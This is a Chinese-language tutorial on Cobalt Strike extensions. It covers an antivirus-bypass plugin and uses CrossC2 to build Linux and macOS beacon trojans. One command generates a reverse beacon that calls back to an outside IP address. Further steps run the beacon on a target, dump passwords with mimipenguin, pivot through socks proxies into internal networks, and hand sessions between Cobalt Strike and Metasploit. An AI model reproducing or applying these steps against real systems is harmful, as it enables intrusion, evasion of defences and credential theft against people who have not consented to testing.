渗透框架进阶之拓展应用
渗透框架进阶之拓展应用
hihopkcCobaltStrike扩展脚本
扩展脚本简介
扩展是 Cobaltstrike 一个极为重要的模块,它有效地丰富了 Cobaltstrike 的功能
选择菜单栏的 CobaltStrike > Script Manager(脚本管理器),点击 Load(加载),然后选择要使用的.cna扩展文件即可
常用扩展脚本插件
后渗透插件-梼杌:https://gitee.com/yijingsec/taowu-cobalt-strike-en
免杀插件-bypassAV:https://gitee.com/yijingsec/BypassAV
上线linux主机-CrossC2:https://gitee.com/yijingsec/CrossC2
CS上线Linux主机
CrossC2介绍
项目地址:https://gitee.com/yijingsec/CrossC2
项目文档:https://gitee.com/yijingsec/CrossC2/blob/cs4.1/README_zh_full.md
Cross C2 项目是一个可以生成 Linux/Mac OS 的 Cobaltstrike beacon payload 的跨平台项目
- Linux & MacOS 支持无文件落地从内存中加载执行 动态库 或 可执行文件
- 灵活自定义执行文件的数据返回类型,端口扫描,屏幕截图,键盘记录,口令凭证 等用户自定义开
- 发实现更便捷
- 自定义通信协议
- 支持横向移动
- 支持从内存加载脚本
- Android & iPhone 支持
支持CobaltStrike对其他平台(Linux/MacOS/…)的安全评估,及包含Unix后渗透模块开发支持
CrossC2安装
https://gitee.com/yijingsec/CrossC2/releases/
下载工具脚本
下载 CrossC2.cna、genCrossC2、CrossC2Kit
修改CrossC2.cna配置
修改 $CC2_PATH 路径为下载的 genCrossC2 真实路径
修改 $CC2_BIN 为使用的 genCrossC2 程序名字
创建Listener并拷贝Keys文件
- 创建Listener监听器 windows/beacon_https/reverse_https
- 拷贝teamserver目录的 .cobaltstrike.beacon_keys 文件到本地客户端目录
添加CNA扩展脚本
选择Script Manager,添加 CrossC2.cna (如果成功安装,菜单栏会多出一项 CrossC2)
功能扩展
- 打开下载的 CrossC2Kit 文件夹,添加 CrossC2Kit_Loader.cna , 包含内存加载等其它功能
- cs4.x 版本文件管理、进程列表功能缺失,必须使用此Loader来重启
生成Beacon
默认使用cli或cna提供的GUI功能生成beacon
- GUI 生成木马
CrossC2 > Create CrossC2 Listener > Create reverse HTTPS Listener
在Event Logs 时间日志窗口可以看到木马生成命令:
- Cli 生成木马
1 | ./genCrossC2.Win.exe Listener-IP Listener-Port .cobaltstrike.beacon_keys null Linux x64 cc2-test |
Linux及MacOS上生成木马命令同上
- 反向
1 | ./genCrossC2.Linux 139.155.49.43 444 .cobaltstrike.beacon_keys null Linux x64 c444 |
- 正向
1 | ./genCrossC2.Linux 127.0.0.1 4444 .cobaltstrike.beacon_keys null Linux-bind x64 cc |
内网横向移动
1 | 生成 Linux-bind / MacOS-bind 类型的beacon |
操作过程中要注意如下几点:
- 需要改cna脚本中 genCrossC2 路径。
- 要使用 windows/beacon_https/reverse_https 监听器。
- 要把团队服务器下的隐藏文件 .cobaltstrike.beacon_keys 复制到本地 CS 目录下。
- 文件都丢到 CS 客户端根目录下,别搞二级目录。
- 生成的 payload 是一个 Linux 下的可执行 payload 和可执行文件,IP 和端口对应
windows/beacon_https/reverse_https 监听器。
运行Beacon
- 在目标上运行CrossC2插件生成的一键上线脚本
- 上传beacon至目标机器后进行赋权运行
1 | chmod +x t_cc2.out |
CrossC2基本使用
1 | Command Description |
1 | 密码dump模块:cc2_mimipenguin 采用开源项目 MimiPenguin2.0,参见 CrossC2Kit/mimipenguin/mimipenguin.cna |
CobaltStrike联动Metasploit
CobaltStrike(简称CS)及 MetaSploit(简称MSF)各有所长,CS更适合作为稳控平台,MSF更适用于与各类内网信息搜集及漏洞利用。为了取长补短,我们进行联动。
方法一
通过CS内置socks代理将本地MSF带入目标内网执行操作
思路:利用 beacon shell 在目标机器和团队服务器之间建立 socks , 而后再在本地利用通过proxychains 之类的工具连到目标内网即可。
- CS 启动 Socks 代理
1 | beacon> socks 6677 |
- 使用 proxychains 代理
本地 kali 编辑 /etc/proxychains.conf 文件,添加 TeamServer 服务器 ip 和 socks 端口,就可以直接连到目标内网(类型为 socks4)
1 | vim /etc/proxychains.conf |
- MSF设置代理
让本地 MSF 所有模块的流量都从 CS 的 socks4 代理走
代理信息 > tunnel > 得到设置代理命令
打开MSF,执行全局代理设置命令:
1 | msfconsole -q |
即可让本地 MSF 所有模块的流量都走 CS 的 socks 代理
方法二
- CS 上创建一个 http 的外部监听器(Foreign HTTP)
- MSF 开启监听
1 | use exploit/multi/handler |
回到 CS 上,在会话处右键,选择 spawn
MSF 得到 meterpreter
Metasploit联动CobaltStrike
在 CS 开启一个监听(Beacon HTTP)
MSF已经得到session会话
MSF 上执行 payload 注入模块
1 | use exploit/windows/local/payload_inject |
DisablePayloadHandler 默认为 false,即payload_inject模块执行之后会在本地生成一个新的handler 监听器,由于设置执行的payload是去连接Cobaltstrike的监听器,所以这里我们设置为true,让它不再生成新的 handler 监听器